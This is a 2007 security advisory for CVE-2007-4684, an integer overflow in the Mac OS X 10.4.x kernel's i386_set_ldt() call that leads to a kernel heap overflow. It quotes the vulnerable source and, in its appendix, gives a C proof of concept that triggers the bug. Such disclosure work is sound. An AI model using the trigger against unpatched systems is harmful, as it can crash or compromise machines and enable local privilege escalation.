Apple Mac OS X 10.4.x Kernel i386_set_ldt() Integer Overflow Vulnerability

Filename: RISE-2007004.txt (2b01db902abaaf7ceec94ff31a403a7d)
RISE ID: RISE-2007004
CVE Name: CVE-2007-4684
Bugtraq ID: 26444
Published: Nov 16, 2007 01:18
Updated: Nov 16, 2007 01:18

Introduction

There exists a vulnerability within an architecture dependent function of the Apple Mac OS X 10.4.x kernel, which when properly exploited can lead to local compromise of the vulnerable system. This vulnerability was confirmed by us in the following versions of the Apple operating system, other versions may be also affected.

Details

The i386_set_ldt() system call will set a list of i386 descriptors for the current process in its LDT. It accepts a starting selector number start_sel, an array of memory that will contain the descriptors to be set descs, and the number of entries to set num_sels.

int
i386_set_ldt(
	int			*retval,
	uint32_t		start_sel,
	uint32_t		descs,	/* out */
	uint32_t		num_sels)
{
	user_ldt_t	new_ldt, old_ldt;
	struct real_descriptor *dp;
	unsigned int	i;
	unsigned int	min_selector = LDTSZ_MIN;	/* do not allow the
system selectors to be changed */
	task_t		task = current_task();
	unsigned int	ldt_count;
	kern_return_t err;

The vulnerable function does not validate the number of entries to set num_sels properly. When setting a valid integer value as starting selector number start_sel, and a integer value higher than 0xffffffff - start_sel as number of entries to set num_sels, it results in a integer overflow in start_sel + num_sels expression, with its value being lower than LDTSZ.

	if (start_sel != LDT_AUTO_ALLOC
	    && (start_sel != 0 || num_sels != 0)
	    && (start_sel < min_selector || start_sel >= LDTSZ))
	    return EINVAL;
	if (start_sel != LDT_AUTO_ALLOC
	    && start_sel + num_sels > LDTSZ)
	    return EINVAL;

A new LDT is allocated using the kalloc() function, with its size argument being sizeof(struct user_ldt) + (ldt_count * sizeof(struct real_descriptor)).

	    /*
	     * Allocate new LDT
	     */

	    unsigned int    begin_sel = start_sel;
	    unsigned int    end_sel = begin_sel + num_sels;
	    
	    if (old_ldt != NULL) {
		if (old_ldt->start < begin_sel)
		    begin_sel = old_ldt->start;
		if (old_ldt->start + old_ldt->count > end_sel)
		    end_sel = old_ldt->start + old_ldt->count;
	    }

	    ldt_count = end_sel - begin_sel;

	    new_ldt = (user_ldt_t)kalloc(sizeof(struct user_ldt) + (ldt_count *
sizeof(struct real_descriptor)));
	    if (new_ldt == NULL) {
		task_unlock(task);
		return ENOMEM;
	    }

	    new_ldt->start = begin_sel;
	    new_ldt->count = ldt_count;

When installing the new descriptors, the contents of memory pointed to by descs are copied into the new allocated LDT using the copyin() function, with its size argument being num_sels * sizeof(struct real_descriptor). This operation results in a buffer overflow in the new allocated LDT.

	    /*
	     * Install new descriptors.
	     */
	    if (descs != 0) {
		err = copyin(descs, (char *)&new_ldt->ldt[start_sel - begin_sel],
			     num_sels * sizeof(struct real_descriptor));
		if (err != 0)
		{
		    task_unlock(task);
		    user_ldt_free(new_ldt);
		    return err;
		}

A proof of concept code that triggers this vulnerability can be found in appendix section of this document.

Vendor

Apple corrected this vulnerability in Apple Mac OS X 10.4.11. More information is available at http://docs.info.apple.com/article.html?artnum=307041

Credits

This vulnerability was discovered by Adriano Lima <adriano@risesecurity.org> and Ramon de Carvalho Valle <ramon@risesecurity.org>.

Disclaimer

The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected.

Appendix

osx-x86-ldt.c

#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>

int
main(void)
{
    union ldt_entry descs;
    char *buf;
    u_long pgsz = sysconf(_SC_PAGESIZE);

    if ((buf = (char *)malloc(pgsz * 4)) == -1) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0x41, pgsz * 4);

    buf = (char *)(((u_long)buf & ~pgsz) + pgsz);

    if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
    PROT_WRITE) == -1) {
        perror("mprotect");
        exit(EXIT_FAILURE);
    }

    /*
     * This will result in kalloc() size argument being 0x00000000 and copyin()
     * size argument being 0xfffffff8.
     */

    if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}